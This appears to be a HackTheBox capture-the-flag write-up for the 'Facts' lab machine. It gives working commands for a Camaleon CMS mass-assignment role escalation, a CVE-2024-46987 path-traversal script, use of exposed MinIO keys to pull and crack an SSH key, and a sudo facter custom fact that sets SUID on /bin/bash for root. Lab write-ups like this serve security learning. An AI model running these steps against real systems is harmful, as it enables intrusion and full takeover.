HackTheBox · Lab
EasyLinuxWebPrivilege Escalation

IP: 10.129.2.194 | Difficulty: Easy | OS: Linux


Environment Setup

export IP=10.129.2.194
export VPN=10.10.11.105
echo "10.129.2.194 facts.htb" >> /etc/hosts

Step 1 — Port Scanning

Why: Map the attack surface. Open ports and services determine which attack angles are available.

nmap -sCV -p- --min-rate 5000 $IP -oN scans/nmap_facts.out

Output:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
                        → Redirect: http://facts.htb/
54321/tcp open  http    MinIO (Golang net/http)
                        → Redirect: http://10.129.2.194:9001

Key findings:

  • SSH (22) — OpenSSH 9.9p1 on Ubuntu. Side entry if we obtain credentials.
  • HTTP (80) — nginx 1.26.3, redirects to facts.htb. Standard web app entry point.
  • Port 54321 — MinIO — S3-compatible object storage written in Go. Redirects to port 9001 (MinIO Console/admin UI). Key finding — MinIO may have default creds, misconfigured buckets, or exposed files.

Step 2 — Web Enumeration

Why: Easy Linux machines almost always have a web application as the entry point. We fingerprint the tech stack and look for hidden endpoints, vhosts, and exposed files.

curl -sv http://facts.htb | head -100
gobuster dir -u http://facts.htb \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -x php,html,txt,bak,zip -t 50

Output:

HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Set-Cookie: _factsapp_session=...

Framework : Ruby on Rails (_factsapp_session cookie)
CMS       : Camaleon CMS (theme: camaleon_first)
CSRF      : authenticity_token present

Endpoints:
  /welcome        → main page
  /animal-ejected → CTA "Start Exploring"
  /randomfacts/   → MinIO-served images
  /admin          → 302 → /admin/login  (Camaleon admin panel)
  /rss            → RSS feed

Key findings:

  • Ruby on Rails on nginx running Camaleon CMS — admin panel at /admin/login
  • Images served from MinIO bucket at /randomfacts/ — confirms Rails ↔ MinIO integration
  • /camaleon_admin does not exist, but /admin redirects to login

Step 3 — Initial Access

Why: Camaleon CMS 2.9.0 admin panel has open registration enabled. A Mass Assignment vulnerability allows privilege escalation to Administrator. CVE-2024-46987 (Path Traversal) is then used for LFI with the authenticated session.

# 1. Register account via /admin/sign_up (open registration)
#    Created: admin2:Password123! / test@test.com → role: Client (ID: 5)

# 2. Mass Assignment — inject role=admin into password-change request
#    POST /admin/users/5/updated_ajax
#    Body: _method=patch&...&password[password]=Password123!&password[role]=admin
#    → HTTP 200 → role: Administrator

# 3. CVE-2024-46987 — LFI using authenticated admin session
# https://github.com/Goultarde/CVE-2024-46987/tree/main
python3 CVE-2024-46987.py -u http://facts.htb -l admin2 -p 'Password123!' /etc/passwd

Output:

// Mass Assignment request
POST /admin/users/5/updated_ajax HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_method=patch&authenticity_token=<token>
  &password[password]=Password123!
  &password[password_confirmation]=Password123!
  &password[role]=admin    ← injected parameter

→ HTTP 200 → Administrator

// LFI /etc/passwd
root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Key findings:

  • Open registration at /admin/sign_up — no admin credentials needed
  • Mass Assignmentpassword[role]=admin accepted by the Rails controller without authorization check
  • CVE-2024-46987 (CVSS 7.7) — Path Traversal via admin/media/download_private_file, works on 2.9.0
  • Two local users: trivia (UID 1000) and william (UID 1001)

Step 4 — MinIO Enumeration → SSH Key

Why: CMS Settings expose MinIO S3 credentials in plaintext. The internal bucket contains a backup of trivia's home directory including a private SSH key.

# MinIO credentials (CMS Settings → Media → AWS S3)
# Access Key : AKIA9FD62A504A25BEB9
# Secret Key : 6C8vo7J+iGdvq6EOztZIQhEfB7ryt0zBOkcm8KPY
# Bucket     : randomfacts / Endpoint: http://localhost:54321

aws configure
# → region: us-east-1

aws s3 ls --endpoint-url http://facts.htb:54321
# 2025-09-11  internal
# 2025-09-11  randomfacts

aws s3 ls s3://internal --endpoint-url http://facts.htb:54321 --recursive
# .ssh/authorized_keys
# .ssh/id_ed25519   ← PRIVATE SSH KEY

aws s3 cp s3://internal/.ssh/id_ed25519 ./trivia_id_ed25519 \
  --endpoint-url http://facts.htb:54321
chmod 600 trivia_id_ed25519

# Crack passphrase
ssh2john trivia_id_ed25519 > trivia.hash
john trivia.hash --wordlist=/usr/share/wordlists/rockyou.txt

ssh -i trivia_id_ed25519 trivia@10.129.2.194

Output:

internal bucket contents:
  .cache/motd.legal-displayed
  .lesshst
  .profile
  .ssh/authorized_keys
  .ssh/id_ed25519          ← exposed private key

john → <REDACTED>          ← passphrase (rockyou)
ssh  → trivia@facts:~$     ← shell obtained

Key findings:

  • internal bucket is a backup of trivia's home directory — exposes private SSH key
  • SSH access confirmed as trivia

Step 5 — Post-Exploitation / Local Enumeration

Why: Local enumeration to identify privilege escalation vectors. sudo -l reveals NOPASSWD on facter.

id && sudo -l
cat /home/william/user.txt

Output:

uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

user.txt: <REDACTED>

Key findings:

  • trivia can run sudo /usr/bin/facter without a password
  • facter is a Ruby script (#!/usr/bin/ruby, version 4.10.0)
  • facter supports --custom-dir flag to load custom Ruby facts
  • env_reset blocks environment variables like FACTERLIB but not the --custom-dir CLI argument

Step 6 — Privilege Escalation

Why: facter --custom-dir loads arbitrary Ruby files as root. We create a custom fact that sets the SUID bit on /bin/bashbash -p → root shell. --custom-dir is a CLI argument and passes through env_reset without restriction.

# 1
mkdir -p /tmp/exploit_facts

# 2 (copy entire command and run)
cat > /tmp/exploit_facts/exploit.rb << 'EOF'
Facter.add("exploit") do
  setcode do
    system("chmod +s /bin/bash")
    "pwned"
  end
end
EOF

# 3
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts exploit

#4
ls -la /bin/bash

# 5
bash -p


whoami
cat /root/root.txt

Output:

pwned                                  ← Ruby code executed as root
-rwsr-sr-x 1 root root ... /bin/bash   ← SUID bit set
bash-5.2# whoami
root
root.txt: <REDACTED>

Key findings:

  • facter --custom-dir executes Ruby code in root context — no env restriction applies
  • SUID set on /bin/bashbash -p → immediate root shell
  • 🏴 MACHINE PWNED — ROOT ACHIEVED

Full Attack Chain

Open registration /admin/sign_up
  └─ Camaleon CMS Client account created
        └─ Mass Assignment: password[role]=admin → Administrator
              └─ CVE-2024-46987: LFI → /etc/passwd → trivia, william
                    └─ CMS Settings: MinIO creds exposed (AKIA9FD62A504A25BEB9)
                          └─ aws s3 ls → internal bucket
                                └─ .ssh/id_ed25519 → john → dragonballz
                                      └─ SSH as trivia
                                            └─ sudo -l → facter NOPASSWD
                                                  └─ facter --custom-dir → SUID /bin/bash
                                                        └─ bash -p → root
                                                              🏴 ROOTED

© 0xNRG — Facts pwned — 2026-03-07

Writeup restricted

This machine is currently active. The full writeup will be published automatically once the box retires, in accordance with HTB's NDA policy.

Status — Active